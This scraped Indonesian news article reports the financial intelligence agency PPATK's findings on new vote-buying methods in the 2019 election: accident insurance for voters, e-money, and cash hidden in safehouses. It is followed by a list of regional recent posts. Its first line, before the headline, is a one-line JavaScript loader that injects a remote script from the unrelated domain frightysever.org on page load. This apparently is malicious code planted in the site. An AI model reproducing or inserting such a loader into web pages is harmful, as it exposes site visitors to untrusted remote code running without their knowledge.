(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Awas, Modus Politik Uang Pemilu: Dari Asuransi, E-Money, hingga ‘Savehouse’!


JAKARTA, Deputi Bidang Pemberantasan Pusat Pelaporan dan Analisis Transaksi Keuangan (PPATK) Firman Shantyabudi menyebutkan, lembaganya menemukan modus baru dalam praktik politik uang yang dilakukan peserta Pemilu 2019. Modus baru tersebut di antaranya mengiming-imingi calon pemilih dengan asuransi kecelakaan dan uang elektronik.

 “Pemberian kepada calon pemilih itu tidak diberikan lagi dalam bentuk uang seperti pada cara konvensional. Tapi kepada mereka masing-masing diberikan jaminan (asuransi). Artinya sama diberikan janji yang bernilai,” ujar Firman usai menjadi pembicara dalam diskusi yang diselenggarakan Setara Institute di Jakarta Pusat, Jumat (5/4).

Modus tersebut ditemukan dari salah satu calon legislatif. Firman mengatakan, pihaknya menemukan ada transaksi berupa pemberian asuransi dari calon tersebut kepada calon pemilih. Namun, ia tak merinci siapa calon tersebut dan seberapa banyak asuransi tersebut digelontorkan. “Satu orang calon menggunakan modus itu. Dapat temuan bulan Maret ini,” ujarnya.

Temuan PPATK tersebut telah disampaikan kepada Bawaslu untuk ditindaklanjuti. Firman pun menyebutkan, pihaknya masih melakukan pengamatan terhadap peserta pemilu yang diduga menggunakan cara dan modus yang sama.

“Kami pantau terus transaksi-transaksi bank. Kami kerjasama dengan forum perbankkan. Anggota caleg ada berapa orang? Tinggal kami berikan nama-nama itu ke bank. Sebenarnya gampang,” kata Firman.

Dia pun menyebutkan, modus yang digunakan oleh peserta pemilu saat ini sudah berbeda dengan beragam. Para peserta pemilu mayoritas sudah menyadari transaksi keuangan mereka bisa terekam oleh PPATK maupun penegak hukum.

Selain itu, untuk menghindari pantuan biasanya kandidat menarik uang jauh-jauh hari sebelum masa Pemilu. Firman mengatakan, ada kandidat yang menarik dana dari rekening bank pada dua atau tiga tahun sebelum Pemilu. Kemudian, dana tersebut disimpan di rumah aman (safehouse) secara tunai.

Menjelang hari pemungutan suara, dana tersebut diambil oleh kandidat untuk dibagikan kepada masyarakat. “Uangnya diambil, dipecah-pecah uangnya, dikasih (kepada masyarakat),” katanya.

Menurut dia, modus tersebut dilakukan untuk menghindari temuan aliran dana mencurigakan Pemilu 2019. Adapun dana tersebut belum tentu terpantau oleh Komisi Pemilihan Umum (KPU) lantaran berada di luar rekening khusus dana kampanye. “Harusnya uang kegiatan yang dipakai harus diambil dari dana kampanye yang dilaporkan kepada KPU,” kata Firman.

Praktek Lama

Sebenarnya, pemberian asuransi kecelakaan dan lainnya tersebut bukan pertama ditemukan pada pemilu kali ini. Dari pantuan yang dilakukan Jaringan Pendidikan Pemilih untuk Rakyat (JPPR), praktek politik uang dari caleg kepada pemilih dalam pemilu legislatif melalui model kartu asuransi sudah berlangsung pada pemilu 2014 silam.

Biasanya, kartu asuransi itu diberikan kepada pemilih saat pembangian surat undangan memilih atau C6. Bagian depan kartu asuransi adalah foto caleg dan belakangnya tercatat nama pemilih, tanggal lahir, alamat termasuk sudah ada no polis.

Pada kartu asuransi tersebut, biasanya jika meninggal dunia biasa itu dapat lebih dari Rp 1 juta, meninggal akibat kecelakaan Rp 2,5 juta, kalau sakit itu sekitar Rp 750 ribu.

Modus ini memang kenyataannya lebih ‘berkelas’ jika dibandingkan money politic konvensional seperti pembagian uang saat kampanye terbuka. Selain itu, ada juga pembagian sembako, pembuatan jalan, santunan meninggal dunia, pembagian buku doa, kerudung, sarung, dan pemberian alat olah raga. Termasuk juga uang amplop!

Deputi Direktur Perkumpulan untuk Pemilu dan Demokrasi (Perludem) Veri Junaidi mengatakan, banyak modus politik uang yang dikemas dengan cara kreatif. Namun jelas, menurut dia, cara itu merupakan hal yang negatif dalam penyelenggaraan pemilu. “Ini satu modus politik uang yang kemudian dikemas dan juga ingin menghindar dari jerat hukum. Padahal itu semua merupakan kategori politik uang,” kata dia.(cel/tmp)

Reporter:cel/tmp
Editor:Cell

Desy Arfianty

Recent Posts

Jelang Pilkada 2024, KPU HSU Melantik 50 Anggota PPK

KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) resmi melantik 50… Read More

49 menit ago

Pipa Bocor, Suplai Air Bersih di Banjarmasin Barat dan Tengah Terhenti

KANALKALIMANTAN.COM, BANJARMASIN - Pipa distribusi air bersih milik Perusahaan Air Minum (PAM) Bandarmasih di wilayah… Read More

2 jam ago

DED Pemasangan ATCS Tugu Adipura Masih Penyempurnaan Kajian

Kadishub Banjarbaru: Setelah Kajian Selesai, Berikutnya Perizinan BPJN dan BPTD Read More

3 jam ago

Hadiri HUT ke-44 Dekranas, Ini Kata Ketua Dekranasda HSU

KANALKALIMANTAN.COM, SOLO - Ketua Dewan Kerajinan Nasional Daerah (Dekranasda) Hulu Sungai Utara (HSU) Gusti Elvira… Read More

3 jam ago

SKPD Mengajar di SMPN 2 Banjarbaru, Wali Kota Aditya Ngajar Kelas Inspirasi

KANALKALIMANTAN.COM, BANJARBARU - Wali Kota Banjarbaru Aditya Mufti Ariffin memulai program SKPD Instansi Mengajar dengan… Read More

5 jam ago

Pastikan Kehadiran Habib Syech ke Kapuas Bersholawat 27 Juni

KANALKALIMANTAN.COM, SOLO - Penjabat (Pj) Bupati Kapuas Erlin Hardi bersilaturahmi ke kediaman Habib Syech bin… Read More

5 jam ago

This website uses cookies.